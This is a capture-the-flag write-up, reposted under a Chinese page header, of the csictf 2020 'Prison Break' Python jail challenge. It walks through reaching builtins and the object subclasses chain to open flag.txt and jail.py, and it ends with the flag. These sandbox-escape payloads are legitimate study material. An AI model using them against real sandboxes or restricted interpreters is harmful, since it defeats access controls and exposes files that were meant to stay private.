点击此处获得更好的阅读体验
WriteUp来源
https://dunsp4rce.github.io/csictf-2020/miscellaneous/2020/07/22/Prison-Break.html
by vishalananth
题目描述
I saw them put someone in jail. Can you find out who it is? They said this is the best prison ever built. You sure can't break it, can you?
题目考点
解题思路
We netcat into the given IP and notice that the python interpreter is open and many common commands are banned. So like with any python jail we try different things to bypass the banned commands. We see
print(dir())
works and hence decide to proceed along those lines. We try
1 | print(dir(__builtins__)) |
We then try
1 | print(().__class__.__base__.__subclasses__()) |
This prints a lot of useful classes among which was the file
class. So we try to open the flag file with
1 | print(().__class__.__base__.__subclasses__()[40]("flag.txt","r").read()) |
We see it does not have the flag and asks us to check the source code for flag. So I randomly tried
1 | print(().__class__.__base__.__subclasses__()[40]("jail.py","r").read()) |
and got the source code which had the flag
1 | #!/usr/bin/python |
Flag
1 | csictf{m1ch34l_sc0fi3ld_fr0m_pr1s0n_br34k} |